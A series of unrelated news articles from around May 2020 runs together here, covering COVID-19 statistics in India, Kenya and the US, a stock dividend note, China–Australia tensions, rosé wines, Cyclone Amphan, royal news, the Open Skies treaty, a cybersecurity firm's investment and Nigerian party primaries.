But I'm not fully contented, because I want it to even drop down further.

Every day we do hear about 35 to 40 deaths.

And I really, really want to get it down to below 10.

That would be my objective from now on.

And the second important ratio is what is called as the case-doubling ratio.

When we started our work, we were somewhere around 3.8 days, which was very dangerously low.

Today we have the case doubling rate almost at the tune of about 10 or 11 days.

But I would be looking forward to making the case-doubling ratio to about 20.

When 20 happens, then in the city COVID-19 cases will be kind of tapering out.

Production: Ashish Narsale/Rediff.com
Some investors rely on dividends for growing their wealth, and if you're one of those dividend sleuths, you might be intrigued to know that China High Speed Transmission Equipment Group Co., Ltd. (HKG:658) is about to go ex-dividend in just 4 days. This means that investors who purchase shares on or after the 26th of May will not receive the dividend, which will be paid on the 12th of June.

China High Speed Transmission Equipment Group's next dividend payment will be HK$0.20 per share, which looks like a nice increase on last year, when the company distributed a total of HK$0.18 to shareholders. Dividends are an important source of income to many shareholders, but the health of the business is crucial to maintaining those dividends. As a result, readers should always check whether China High Speed Transmission Equipment Group has been able to grow its dividends, or if the dividend might be cut.

See our latest analysis for China High Speed Transmission Equipment Group

Dividends are typically paid from company earnings. If a company pays more in dividends than it earned in profit, then the dividend could be unsustainable. It paid out 78% of its earnings as dividends last year, which is not unreasonable, but limits reinvestment in the business and leaves the dividend vulnerable to a business downturn. We'd be worried about the risk of a drop in earnings. Yet cash flows are even more important than profits for assessing a dividend, so we need to see if the company generated enough cash to pay its distribution. What's good is that dividends were well covered by free cash flow, with the company paying out 7.2% of its cash flow last year.

It's encouraging to see that the dividend is covered by both profit and cash flow. This generally suggests the dividend is sustainable, as long as earnings don't drop precipitously.

Click here to see how much of its profit China High Speed Transmission Equipment Group paid out over the last 12 months.

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SEHK:658 Historical Dividend Yield May 21st 2020

Have Earnings And Dividends Been Growing?

Companies with consistently growing earnings per share generally make the best dividend stocks, as they usually find it easier to grow dividends per share. Investors love dividends, so if earnings fall and the dividend is reduced, expect a stock to be sold off heavily at the same time. For this reason, we're glad to see China High Speed Transmission Equipment Group's earnings per share have risen 12% per annum over the last five years. It paid out more than three-quarters of its earnings in the last year, even though earnings per share are growing rapidly. We're surprised that management has not elected to reinvest more in the business to accelerate growth further.

Another key way to measure a company's dividend prospects is by measuring its historical rate of dividend growth. China High Speed Transmission Equipment Group's dividend payments per share have declined at 3.2% per year on average over the past ten years, which is uninspiring. China High Speed Transmission Equipment Group is a rare case where dividends have been decreasing at the same time as earnings per share have been improving. It's unusual to see, and could point to unstable conditions in the core business, or more rarely an intensified focus on reinvesting profits.

Final Takeaway

Should investors buy China High Speed Transmission Equipment Group for the upcoming dividend? We like China High Speed Transmission Equipment Group's growing earnings per share and the fact that - while its payout ratio is around average - it paid out a lower percentage of its cash flow. Overall we think this is an attractive combination and worthy of further research.

While it's tempting to invest in China High Speed Transmission Equipment Group for the dividends alone, you should always be mindful of the risks involved. We've identified 2 warning signs with China High Speed Transmission Equipment Group (at least 1 which is significant), and understanding them should be part of your investment process.

We wouldn't recommend just buying the first dividend stock you see, though. Here's a list of interesting dividend stocks with a greater than 2% yield and an upcoming dividend.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
Chinese state media has claimed the US coerced Australia into calling for an inquiry into the origins and spread of coronavirus.

An article in the Global Times, a state-controlled tabloid newspaper, said Australia is America's 'lapdog' and serving as a US 'pawn to create trouble for China'.

It suggested President Donald Trump told Prime Minister Scott Morrison to call for an inquiry into the virus during their phone call on 22 April.

President Donald Trump and first lady Melania Trump welcome Australian Prime Minister Scott Morrison and his wife Jenny to an official dinner at the White House September 20, 2019

Mr Morrison has called for a ban on wildlife wet markets. Pictured: Xihua Farmers' Market in Guangzhou

'With the White House promoting the "America First" doctrine and intensifying its competition with China, Washington's allies are increasingly required to help serve those goals,' the article said.

'What the US wants is not equal partners, but loyal followers. Forcing other countries to choose between Washington and Beijing, it is the current US government that is coercing and threatening'.

In fact, Australian foreign minister Marise Payne announced Australia's demands for an independent inquiry on 19 April, three days before Mr Morrison spoke to President Trump.

The Prime Minister also called German Chancellor Angela Merkel and French President Emmanuel Macron on the same day as President Trump to urge them to support Australia's push.

Mr Morrison said he could not rule out that the virus spawned in a lab in Wuhan, a theory touted by the US administration. Mr Morrison said he has not seen any evidence for that theory

Mr Morrison called Mr Trump on 22 April and later tweeted about the conversation

President Xi Jinping has agreed to a WHO investigation after more than 100 countries signed a motion demanding one at the World Health Assembly last week.

But Beijing was infuriated by Australia's calls for an independent inquiry, believing that it was a 'malicious' attempt to blame and 'stigmatize' China.

Mr Morrison had demanded a ban on wildlife wet markets, where the virus may have originated, and said inspectors should be able to enter a country suffering from a pandemic without the government's consent.

Last week China slapped an 80 per cent tariff on Australian barley and suspended imports from four Australian beef suppliers in apparent revenge.

As trade tensions mount, the Global Times article said Australia should stop 'blindly following' the US because doing so could harm its business relationship with China.

About one third of Australia's total exports - including iron ore, gas, coal and food - go to China, bringing in around $135billion per year and providing thousands of jobs.

'China's importance to Australia is much bigger than that of Australia to China,' the article said.

A haulage truck and an autonomous drilling rig at the Rio Tinto West Angelas iron ore mine in the Pilbara region of West Australia

However, the article also admitted China and Australia are 'interdependent' and no-one stands to benefit from a trade war.

On Tuesday fears of further retaliation were raised when China relaxed checks on iron-ore imports in a move that could favour Australia's competitors.

Instead of mandatory inspections, China will now carry out optional checks at the request of the importer - meaning Australian goods could be targeted.

But the Australian government is hopeful the new rules will make life easier for Australian exporters as Chinese demand for iron-ore increases and supply from major producer Brazil is curtailed while the country battles a major virus outbreak.

Prime Minister Scott Morrison spoke to President Donald Trump (pictured together in September) on the phone about how the World Health Organisation can 'improve'

Mr Morrison and President Trump spoke on 22 April to discuss the World Health Organisation's role in containing the spread of the virus.

In his tweets after the call, Mr Morrison wrote: 'We had a very constructive discussion on our health responses to #COVID19 and the need to get our market-led and business-centred economies up and running again.

'We also talked about the WHO and working together to improve the transparency and effectiveness of international responses to pandemics.

Mr Morrison signed off by praising Australia's relationship with the United States.

'Australia and the US are the best of mates and we'll continue to align our efforts as we work towards the recovery on the other side of this virus,' he wrote.
Rose wines come in many shades of pinkbut color doesn't always reflect quality

When choosing rose wine, many people erroneously assume that the paler the color, the better the quality. Another common misperception is that roses tend to be sweet rather than dry.

However, excellent roses come in many shadesfrom beige-pink to blush to garnetacross the spectrum of dry to sweet. In fact, some of the worlds most gastronomic roses are darker in color and fuller-bodied, with more depth and structure, ideal for pairing with different foods.

There is no correlation between color, body, and sweetness, noted Victoria James, sommelier at New York Citys Cote Steakhouse and author of Drink Pink: A Celebration of Rose. People see a dark rose and think it will be heavy or perhaps sweet, but that is not true!

The color speaks more to the grapes, weather, maceration process, and other factors, James explained. Many darker-colored roses, like Cerasuolo dAbruzzo and rosados from Spain, are some of the most sought-after pink wines among sommeliers.

Behind the Color

A rose wine starts with red grapes. Most red grapes have clear juice, and color is imparted to the wine when the grape skins come into contact with the juices.

The two most common methods of making rose are limited skin contact and saignee (French for bleeding).

The limited skin contact method involves letting the grape skins macerate with the mustthe pulp, seeds, and juicefor anywhere from five to 48 hours. A longer maceration time results in a deeper shade of pink.

The saignee method is a byproduct of making red wine. Grapes are first pressed, and a portion of the pink juice is extracted, or bled off, at an early stage to make rose. The remaining juice may be vinified into red wine.

In rare instances, rose is made by blending red and white wines. This practice is illegal in France except in the region of Champagne, where tradition allows for adding a small amount of still red wine into the blended cuvee to make rose champagne.

Many winemakers aim for paler roses, which are popular in the marketplace, but color does not always reflect quality. A well-made rose in any hue should express the fruit, spice, and other characteristics of the grapes used, and taste refreshing on the palate.

Choosing a Rose

As the weather warms, bottles of rose flood store shelves. Choosing can be confusing.

Roses are produced around the world using both international and local grapes. Here are a few examples of regions known for their world-class roses.

Rose should be served chilled, between 45 and 55 degrees F. Drink young; look for 2018 and 2019 vintages now.

Roses From France

Provence: The pale, dry rose wines of Provence in southern France are considered the benchmark for many wine drinkers, and they represent more than 40 percent of French rose production. Provences Mediterranean climate delivers roses with a pleasant essence of salinity and soft herbal notes, amid flavors of fresh citrus and wild red berry fruits.

The three largest AOCs (appellation dorigine controlee) for making rose wines are Cotes de Provence, Cotes dAix-en-Provence, and Coteaux Varois en Provence. The smaller AOCs Bandol, Cassis, and Palette also produce highly regarded roses.

Try:

Chateau de Berne Inspiration, Cotes de Provence, 2019 ($20): A classic Provencal rose, a blend of grenache, syrah, and cinsault, delivering wild strawberry and soft herbal notes. Chateau de Berne is an historic estate, now a Relais and Chateaux hotel with a Michelin-starred restaurant.

Chateau de Berne Inspiration, Cotes de Provence. (Courtesy of Provence Rose Group)

Chateau Barbebelle Cuvee Madeleine Rose, Cotes dAix en Provence, 2018 ($21): A crisp, pale rose with a hint of spice, thanks to a 50 percent grenache blend. The balance of syrah and cinsault add subtle pear and raspberry notes.

Domaine Tempier Bandol Rose, Provence, 2018 ($50): From one of the premier Bandol rose producers, this wine contains 50 percent mourvedre, a full-bodied grape that adds complexity. The remaining blend is 25 percent each of grenache, adding spice notes, and cinsault, contributing a soft floral bouquet.

Rhone Valley: The Tavel AOC, northwest of Avignon, exclusively produces rose. Spicy grenache noir is the dominant grape for Tavel roses, which are all blends using other Rhone varietals such as cinsault, mourvedre, and carignan and syrah. Tavel roses range from deep salmon pink to peony in color; they are aromatic and fuller-bodied with dense fruit, ideal for pairing with meatier dishes, spicy foods, and even baked fruit pie.

Like Provence, the southern Rhone Valley benefits from a dry, sunny Mediterranean climate. The roses of Luberon, Ventoux, and Costieres de Nimes AOCs all deliver light fresh fruit and floral notes, a touch of salinity, and fresh minerality. Pair with seafood, goat cheeses, and salads.

Try:

Domaine Maby Tavel Prima Donna Rose, Rhone ($15): This wine has ripe fruit with a touch of spice and soft tannins, and pairs well with lighter main course dishes.

Domaine de la Fondreche Rose, Ventoux AOC, 2019 ($18): A blend of 50 percent cinsault with equal parts grenache and syrah, this refreshing rose has essences of fresh-picked wild strawberries, orange zest, and wildflowers. (The 2018 is currently available in the U.S. market.)

Domaine de la Fondreche Rose, Ventoux AOC. (Courtesy of Domaine de Fondreche)

Loire Valley: Rose de Loire AOC and Rose dAnjou AOC are both produced in the middle Loire Valley and range from dry to semi-dry. They can be made from the local grolleau noir, pineau dAunis, and gamay, as well as international varieties cabernet franc, cabernet sauvignon, and cot (the regions name for malbec). AOC Rose dAnjou wines tend to be medium-sweet.

Try:

Alain de la Treille Rose dAnjou, Loire ($16): A dry rose, 50 percent gamay and 50 percent grolleau noir, with aromas of strawberry and raspberry. Producer Jean-Claude Bougrie named this wine after his best friend.

Alain de la Treille Rose dAnjou, Loire. (Courtesy of Alain de la Treille)

Rosato From Italy

Lake Garda: Chiaretto, which translates to pink, is Italys most popular dry rose. Chiaretto di Bardolino is exclusive to the Lake Garda region. Here, the roses are crisp and dry, much like those of Provence, thanks to Lake Gardas Mediterranean microclimate.

Wines made on Lake Gardas Lombardy coast to the west are made with sangiovese and groppello, which add spice notes to the fruit. The Veneto side to the east uses local corvina, rondinella, and molinara grapes, delivering more floral-style chiarettos. Pasta, pizza, charcuterie, and sushi all pair well.

Try:

Costaripa Rosamara Chiaretto, Valtenesi DOC, 2018 ($30): A silky blend of groppello, marzemino, sangiovese, and barbera from the Lombardy side of Lake Garda.

Costaripa Rosamara Chiaretto, Valtenesi DOC. (Courtesy of Costaripa)

Le Fraghe Rodon Bardolino Chiaretto, Veneto, 2018 ($16): From the Veneto side of Lake Garda, this chiaretto is a blend of two local grapes, 80 percent corvina and 20 percent rondinella, with a deep strawberry hue and savory herbal notes.

Abruzzo: Cerasuolo (Italian for cherry) dAbruzzo DOC is a dark garnet-colored rosato produced from the montepulciano grape. These are fuller-bodied wines with flavors of pomegranate, cherry, strawberry, and anise. Chill and enjoy as you would a red wine, paired with hearty pasta dishes, pork, or other meats.

Try:

Torre dei Beati Rosa-ae Cerasuolo dAbruzzo, Abruzzo, 2018 ($20): Italys premier wine guide, Gambero Rosso, named this wine its 2020 Rose of the Year.

Rosado From Spain

Rioja, Navarra, and Cigales all produce refreshing roses the color of blushing cheeks, with ripe wild strawberry and herbal characteristics. Most are made from tempranillo or garnacha (grenache in France). These wines pair well with a range of popular Spanish dishes, such as paella, tortilla espanola, jamon, and stuffed peppers.

Try:

Bodegas Muga Flor de Muga Rose, Rioja DOC ($35): A garnacha-based wine from a historic family producer that makes outstanding Rioja wines.

Bodegas Muga Flor de Muga Rose, Rioja DOC. (Courtesy of Bodegas Muga)

Melanie Young writes about wine, food, travel, and health. She co-hosts the weekly national radio show The Connected Table LIVE! and hosts Fearless Fabulous You! both on iHeart.com. Twitter@connectedtable
Kids, make some money

Lets be the model of success.

Butte is a summer paradise for both locals and tourists. After eight months of winter we get to enjoy the full glory of long summer days, but for local businesses summer can be a struggle due to lack of employees.

The reason I write this letter is to encourage our high school students to get out and make money during the summer months. Every business that depends on tourist dollars is fighting for employees and we believe our high school kids have so much to offer.

Like many restaurant owners, we have experience with the annual summer staffing challenge. We have also seen many success stories of local kids who started with us only to watch their careers blossom. Working in a restaurant is a great entry level job for young people. We teach our employees valuable skills like how to manage schedules, how to build rapport with fellow employees, customer service, work ethic, navigating government paperwork and the importance of a paycheck.

Every year our family is fortunate to visit the resort town of Gulf Shores, Alabama. This town has a winter population of 5,000, which swells to 50,000 during the summer. In Gulf Shores we have talked with many small business owners to discover the booming summer economy is dependent on high school students working. Working a summer job is simply part of the culture. Gulf Shores would never have become a summer tourist destination without the support and hard work of local high school kids.

With the growth of our hospitality industry, we need all hands on deck. With the help of our youth, we can make our town the prototype of success in Montana

Burke and Melissa Moran, Butte

The Rib & Chop House

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by Melani Manel Perera

The civil war ended on 18 May 11 years ago with the Sri Lankan Military defeating the Tamil Tigers. Politicians and journalists have been blocked from attending memorial ceremonies. Tamils feel discriminated by the central government. Christian activists want Tamils to be integrated into Sri Lankan society.

Colombo (AsiaNews)  Sri Lankas Defence Ministry has prevented the Tamils in the north of the country from commemorating fellow Tamils who died during the countrys brutal civil war (1983-2009).

Memorial ceremonies were scheduled for Monday, the 11th anniversary of the end of the conflict. The authorities justified their decision as part of the lockdown measures they imposed to contain the coronavirus pandemic.

For the government, 18 May is Victory Day and marks the defeat of the Tamil Tigers by the Armed Forces. Led by Velupillai Prabhakaran, who was later killed, Tamil rebels fought for the creation of an independent Tamil state in north-eastern Sri Lanka.

In the mainly Tamil northern and eastern regions of the island nation, tensions remain high. Unlike the predominantly Buddhist Sinhalese, the trauma of the civil still lingers among the mostly Hindu Tamils.

C.V. Wigneswaran, a former head of the Northern Provincial Council, was stopped at a military checkpoint as he made his way to Mullivaikkal for the commemoration. He was detained for 30 minutes and questioned. Some journalists were given the same treatment.

Christian and secular activists want the government to free the Tamils from the chains of oppression by encouraging reconciliation and Tamil integration into Sri Lankan society; for them this is the only way to achieve real peace.

Critics accuse the government of ignoring the legitimate demands of this part of the population. In their view, it is necessary to solve the problem of Tamil political prisoners, who have been detained for years without formal indictment.

Land restitution is another sore point. Catholic activists expect agricultural land in the north to be cultivated by local Tamils, not by soldiers.

They want the authorities to end the military occupation of the region, block the resettlement of ethnic Sinhalese families and allow Tamils to commemorate their war dead.
The Ministry of Health has projected that Kenyas Covid-19 cases will peak between August and September, with about 200 new cases per day.

Speaking during the daily virus briefing at Afya House on Thursday, Director General Patrick Amoth said Kenyans shouldnt be surprised because the modeling used keeps on changing based on different variables in place.

If we continue with the measures that have been put in place as of today, the peak period will be in August and September where its likely for us to report 200 cases plus a day, said Dr Amoth.

Remember modeling keeps on changing based on the variables you input and our wish is to continue with the existing measures because they have ensured our hospitals have not been overrun, he added.

Dr. Amoth urged Kenyans to continue observing the laid out directives, which he said have been key in containing the spread of the virus.

We could be reporting between 200 and 300 cases per day in the months of August and September that are our peakif we test 4,000 samples and get 100 positive cases, it should not surprise uswe must observe guidelines and other measures he said.

On Thursday, Kenya recorded 80 new cases bringing the total to 1,109.

The youngest case is a six-month-old baby, Health CS Kagwe said.

There have been 375 recoveries and 50 fatalities since the first case was reported in the country.
YEREVAN, MAY 22, ARMENPRESS. President of Artsakh Arayik Harutyunyan and Prime Minister of Armenia Nikol Pashinyan held a joint working consultation on a range of foreign police issues on May 22, a day after Harutyunyan was sworn into office.

Acting Foreign Affairs Minister Masis Mayilyan and Republic of Armenias Foreign Affairs Minister Zohrab Mnatsakanyan partook at the meeting. A range of issues on raising the efficiency of cooperation of the two Armenian republics foreign affairs institutions and conducting more inclusive work on foreign affairs agenda were discussed. President Harutyunyan underlined the significant role of the Republic of Armenia in raising the international subjectivity of Artsakh, emphasizing that joint efforts in this direction should be constantly increased, Harutyunyans Office said in a news release.
Amphan cyclone is one the fiercest cyclone in recent memory and threatens millions of people in eastern India and Bangladesh. The forecast of a potentially devastating and furious storm surge is nerve racking.

Reuters

The authorities in the state have decided to stage mass evacuation away from the path of furious cyclones as it is only the second super cyclone to form in the northeastern Indian Ocean since the recording has begun.

But their efforts have been hampered by the need of social distancing amid the coronavirus pandemic with infection numbers increasing in both the countries at a high speed.

Out at sea the vast weather system visible from space packed winds of up to 240 kilometers per hour (150mph), the equivalent of a category four hurricane.

It was expected to hit slightly before crossing the coasts of West Bengal and the neighbouring Bangladesh after 0900 GMT.

But the storm could still be strong enough to cause large scale and extensive damage, said the head of Indias weather office Mrutyunjay Mohapatra.

Reuters

This would come with very heavy rainfall, the system was expected to result in a storm surge which is pushing the sea levels several metres higher, his office said.

Storm surges can force a wall of water to hit several kilometres inland, and are also responsible for massive destruction and loss of life during these severe cyclones.

Victims of these severe storms

Our neighbour Bangladesh, which is home to 30 million people, is regularly battered by cyclones that have claimed the lives of hundreds of thousands of people in recent times.



In previous years, Odisha was hit by a super cyclone that left approximately 10,000 dead in the year 1999, eight years after the typhoon, tornadoes and flooding killed 1,39,000 in Bangladesh.

While the storms frequency and intensity have increased -- this phenomenon has been partly blamed on climate change, deaths of the people have fallen to faster evacuations, better technology and more shelters.

But Bangladesh authorities are still scared that Amphan will be the most powerful storm front since Cyclone Sidr devastated the country in 2007, killing about 3,500 people and causing billions of dollars of damage.

The country has been feverishly working to bring 2.2 million people to safety, while West Bengal was relocating 3,00,000 others

The Catholic Relief Services (CRS) aid group said people faced "an impossible choice" of braving the cyclone by staying put, or risking coronavirus infection in a shelter.

Authorities in both countries have said that they were using extra shelter space to reduce the crowding while making sure that everyone is wearing facemasks and also providing extra soap and sanitizer.

"We are also keeping separate isolation rooms in the shelters for any infected patients," Bangladesh's junior disaster management minister Enamur Rahman told AFP.
The royal family has made another crushing move due to the pandemic that has been affecting the whole monarchy.

This 2020, the Buckingham Palace had to make a heartbreaking decision as the number of coronavirus cases in the U.K. continues to increase. Through the Royal Collection Trust, the monarchy announced that the Palace and the other royal residences will be closed for visitors on tour.

"The safety and wellbeing of our visitors and staff are our priority. Because of the operational challenges of social distancing, unfortunately, we have had to take the decision not to open the State Rooms at Buckingham Palace to the public this summer, and Frogmore House and Clarence House will not open in August 2020," the royal family's non-profit group said in a statement.

Usually, a few rooms remain open to the public during this time as Queen Elizabeth II goes to Balmoral Castle in Scotland as part of her annual pilgrimage together with the core members of the royal family.

Due to the closures, however, there will be no summer job openings from July to October which will then leave hundreds of workers unemployed.

"The roles were for around 380 temporary summer staff on three-month contracts. They were recruited earlier this year for the Buckingham Palace opening, which now isn't going ahead," a spokesperson for the Royal Collection told People. "They have all been given the option to carry over the offer for next summer."

The Royal Collection Trust is in charge of managing the Royal Collection and royal residences, as well as the employees working in every royal residence.

Even the Frogmore House (where Meghan Markle and Prince Harry held their evening wedding reception) and Clarence House (Prince Charles and Camilla's home in London) will also remain closed throughout the summer until further notice.

Although the tourists will not be able to visit Her Majesty's home this year, the Royal Collection's website is still up and running for everyone who wants to experience virtual tours on the state rooms while having a magnificent view of the arts inside the Palace.

Visitors usually receive a chance to tour around the splendid State Rooms personally, including the famous Picture Gallery which serves as the place for many royal receptions.

First Time Ever

This is the first time Buckingham Palace faced such scenario ever since Queen Elizabeth II decided to open its doors to the public 27 years ago.

In 1992, the fire at the Windsor Castle caused $62 million of damage after it destroyed 115 rooms. Since they failed to raise money through a public fund, the Queen decided to welcome visitors to her primary residence to settle the funds needed to restore the castle.

Since then, the Royal Collection has successfully held a number of successful themed shows -- from an event wherein they featured Kate Middleton's wedding dress in 2011 and the Queen's jewels in 2012 (as part of the year of her Diamond Jubilee).
The Centers for Disease Control and Prevention on Thursday confirmed that it has been combining the results of diagnostic coronavirus tests and coronavirus antibody tests, The Atlantic reports.

Why it matters: Including antibody test results distorts data on the prevalence of the coronavirus and can overstate the ability to safely begin the reopening process.

A positive COVID-19 test means a person is currently carrying the coronavirus, while a positive antibody test suggests the individual has been infected in the past.

What they're saying: Harvard professor of global health Ashish Jha told The Atlantic, "Because antibody tests are meant to be used on the general population, not just symptomatic people, they will, in most cases, have a lower percent-positive rate than viral tests."


Meghan, Duchess of Sussex, once turned her backyard into a recreation of the place where she and Prince Harry "fell in love".

Prince Harry and Duchess Meghan celebrated their second wedding anniversary earlier this week, and were said to have exchanged thoughtful gifts including a "beautiful, sentimental message" written by Meghan for her husband.

And now, a source has said the touching present is nothing out of the ordinary for the couple, as Meghan previously recreated their 2016 trip to Botswana in their backyard for Harry's 35th birthday.

The insider told People magazine: "[They] always give each other incredibly romantic gifts. Last year, for Harry's birthday, Meghan recreated their Botswana camping adventures in their backyard. It's a place that means so much to them - and to Harry in particular - so Meghan wanted to bring that happy place to him on his day so she set up a tent, got sleeping bags, cooked dinner and recreated Botswana where they fell in love."

Prince Harry revealed in the couple's 2017 engagement interview that he whisked Meghan, 38, away to Botswana after just two dates in London in 2016.

He said at the time: "And then it was I think about three, maybe four weeks later that I managed to persuade her to come and join me in Botswana. And we camped out with each other under the stars. She came and joined me for five days out there, which was absolutely fantastic."

Meanwhile, another source discussed the couple's romantic anniversary gifts earlier this week.

They said: "Meghan designed Harry's card, and handwrote a beautiful, sentimental message inside expressing her love for him. Harry surprised Meghan with a huge, stunning bouquet of roses and a ring, which she loves."

Meghan and Harry are currently living in Los Angeles with their 12-month-old son Archie, and the source said the couple were keen to celebrate their anniversary in a low-key way "without any interruptions".

They added: "The most important thing to them was that they got to enjoy each other's company without any interruption from the outside world."
NATO and the EU on Friday urged Russia to comply with the 1992 Open Skies military surveillance treaty, as European nations scrambled to save the pact after US President Donald Trump said his country would withdraw. Western allies are hoping to convince Washington to reverse the decision, which Trump said was due to Moscow not honouring the defence agreement. NATO Secretary General Jens Stoltenberg said the US decision to quit the agreement will not come into effect for six months, leaving Moscow time to change course. "All NATO allies are in full compliance with all provisions of the treaty," Stoltenberg said. "Russia has for many years imposed flight restrictions inconsistent with the treaty, including flight limitations, over Kaliningrad and restricting flights in Russia near its border with Georgia. EU foreign policy chief Josep Borrell said he regretted the US decision, calling the Open Skies treaty "a key element of our arms-control architecture" which serves as "a vital confidence and security-building measure." He called on Washington to reconsider and for Moscow to "return immediately to the full implementation of the Treaty". Earlier a group of 10 European nations said in a joint statement they regretted Trump's threat -- his latest in a string of withdrawals from international agreements. - 'Entrenched Cold War mentality' - The pact allows its nearly three dozen signatories to carry out short-notice flights over one another's territory to monitor potential military operations. Members include countries across Europe and the former Soviet Union, as well as the United States and Canada. Trump said Thursday he would would pull the US out, alleging Moscow had not adhered to its commitments under the pact. The US accuses Russia of blocking flights over certain sites and forbidding surveys of military exercises, normally allowed under Open Skies. Moscow said on Friday it would continue observing the treaty even if the US pulls out. "As long as the treaty is in force, we intend to fully follow all the rights and obligations that apply to us from this treaty," Deputy Foreign Minister Alexander Grushko told the RIA Novosti news agency. Fellow Deputy Foreign Minister Sergei Ryabkov denounced the "absolutely unacceptable" conditions set by the Washington, accusing the US of sowing "discord and uncertainty" The foreign ministry accused the US of pointing the finger at Russia "to camouflage their destructive actions". Grushko warned that the US pullout would damage European security and harm the interests of US allies. China, which is not a party to the treaty, expressed "deep regret" over the US move, calling it a "display of the United States' entrenched Cold War mentality'. The Europeans said they would work to resolve "outstanding questions" with Moscow, including "unjustified restrictions" imposed on flights over Kaliningrad -- a Russian exclave bordered by Poland and Lithuania. "We continue to urge Russia to lift these restrictions," they said. China, which is not a party to the treaty, expressed "deep regret" over the US move, calling it a "display of the United States' entrenched Cold War mentality". - 'Security and peace' - The withdrawal "will have a negative impact on the international arms control and disarmament process," foreign ministry spokesman Zhao Lijian said. US Secretary of State Mike Pompeo said the United States could reconsider "should Russia return to full compliance with the Treaty." Open Skies is the third important military pact that Trump has withdrawn from since coming to office in January 2017. He halso dropped the 2015 JCPOA agreement to prevent Iran from advancing its nuclear weapons program and the 1988 Intermediate Range Nuclear Forces Treaty with Russia. In both cases, Trump accused the other side of violating treaty requirements. The latest move adds to question marks over New START, a pact that limits the number of nuclear missiles the US and Russia can deploy, which is due for renewal by early 2021. The Open Skies treaty carried more political than military weight, according to Corentin Brustlein of the Paris-based French Institute of International Relations. Large spy agencies do not need "open skies" to gather information on other countries' military activities, he told AFP. "But the information gathered under Open Skies is shareable and shared," he said, including with signatory states that do not have strong intelligence agencies of their own. "The only negative consequences of this withdrawal will be felt by allies of the United States... It is yet another demonstration of what little regard the US administration has for Europe's security concerns." burs-mlr/js/pvh/dl
Quick Heal Technologies announced a strategic investment of INR 2 Crores in Ray Pte. Ltd., a Singapore based start-up specializing in next generation networking and wireless technology. The investment reinforces a shared vision of ensuring a safe, secure and seamless digital experience for everyone. The development displays Quick Heals ongoing efforts to invest in disruptive technologies that will shape the future of cybersecurity while supporting innovative startups. The company had recently invested USD 300,000 in Israel based L7 Defense.

Incorporated in the year 2019, Ray is an innovation driven technology company with a vision to reimagine networking and wireless technology. Rays flagship product RayOS is an open, secure, cloud native, extensible Operating System with an ecosystem of applications that leverage the underlying hardware to create unlimited use cases. The investment will enable Ray to tap into Quick Heals rich legacy and expertise in the technology landscape to develop an integrated solution designed to protect IoT devices in enterprise and consumer segments from the next wave of cyber-attacks.

Kailash Katkar, Managing Director and Chief Executive Officer, Quick Heal Technologies Limited said, Through our investment in Ray, we want to bring the best of Quick Heals security technology and capabilities to a wide range of customers and partners with highly secure networking and wireless technology. As a company, we are always on the lookout for innovative companies with disruptive offerings that will help us shape the future of cybersecurity. The team at Rays is building futuristic solutions keeping IoT and cloud computing technologies in mind which makes them an ideal partner.

Hemal Patel, Chief Executive Officer & Founder, Ray, said, We are excited to have Quick Heal as our strategic investor. We would benefit from their vast experience of building a technology company focussed on advanced security technologies and a client-centric innovation culture. The funding shall help us accelerate our product innovations and increase our reach in multiple geographies.
The National Working Committee of the ruling All Progressives Congress (APC) has adopted direct primary for the Edo State governorship election, two members of the NWC told this newspaper, a move that has been condemned by the state chapter of the party.

The NWC at its Thursday meeting, however, reached no decision on the method of primary for Ondo State.

The Edo State APC primary has been slated for June 22 while that of Ondo State is to hold on July 20.

In a phone interview with PREMIUM TIMES on Friday, the APC spokesperson, Lanre Issa-Onilu, confirmed that the partys NWC reached the agreement on Thursday at the party secretariat in Abuja.

It is true, weve adopted a direct primary method for Edo governorship primary, he said but declined further comment on the new development.

However, two sources within the NWC, who asked not to be named as they were not authorised to speak on the matter, told PREMIUM TIMES that the party adopted the direct primary for Edo State and granted a waiver to a controversial aspirant, Osagie Ize-Iyamu.

One of the sources said the argument for the direct primary at Thursdays NWC meeting was hinged on the fact that the method has been tried in the state before and it would possibly prevent an uproar from members of the APC in Edo State.

The principle is what has been done before, it is easy to repeat it. The last primary that was done in Edo was direct, so it easier to go by what the people are used to over there instead of starting something afresh with its challenges.

It is easier to learn from what you have done in a particular place and improve on it, the source, who was among the NWC members in attendance at the meeting, explained.

When asked on the possibility of the state branch of the APC making a case for indirect primary system, he nullified this possibility as the state (branch of APC) does not have the constitutional right to decide the method of primary for governorship ticket.

Direct primaries involve the participation of all party members in the selection of party candidates while indirect primaries, on the other hand, involve the use of delegates.

Another source, who spoke to this reporter, said the waiver granted to one of the intending aspirants for the partys governorship ticket, Mr Ize-Iyamu, is not a new thing.

Granting waiver to aspirants has been done on several occasions. In the last election, I can confirm to you that over 50 people were given waivers. Even in the last Kogi elections, people were given waivers.

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The principle behind waiver is that anybody coming in to add value to the party either in terms of electoral votes or resources to deploy. Anybody that would make significant impacts would be given such opportunity to strengthen the party, he said.

Mr Ize-Iyamu is believed to be the favourite candidate of the APC National Chairman, Adams Oshiomhole, who is in a power tussle with the Edo State Governor, Godwin Obaseki, for the control of the party in the South-south state.

The intending governorship aspirant, Mr Ize-Iyamu, was a two-time governorship candidate of the Peoples Democratic Party (PDP), in Edo State. He defected to the APC in November, shortly before the crisis in the state branch of the party went overboard.

Obaseki reacts

The Edo State governors spokesperson, Crusoe Osagie, in his reaction to the APC NWC resolution said the body does not have the constitutional right to decide the method of party primary in the states governorship race.

He added that the direct primary is unhealthy for the state at this time of coronavirus pandemic.

Whatever they decide in the said meeting cannot stand the test of legality. The NEC is the one that is responsible for picking the kind of primary that is used to determine the candidate of a party in a governorship election.

The last time NEC met, they decided that a state should determine the kind of primaries to adopt while the national level will ratify. As we speak, that decision still holds as it played out in the last Kogi and Bayelsa governorship election, Mr Osagie said in a phone interview with this newspaper on Friday afternoon.

However, section 13.4 of the partys constitution which contains the responsibilities of NWC, stipulates that the body can propose to the NEC, party electoral regulations, to govern the conduct of elections to all party offices at every level and to govern the procedure for selecting party candidates for elective offices, subject to the of the constitution.

Essentially, according to the partys constitution, it is the NEC that can determine what type of primaries to be held to choose candidates.

Many of the NWC members are members of the NEC, same as state governors and other top elected public officials from the party. The Edo State power tussle is thus expected to proceed to the NEC of the party, although the date of the NEC meeting is yet to be fixed.

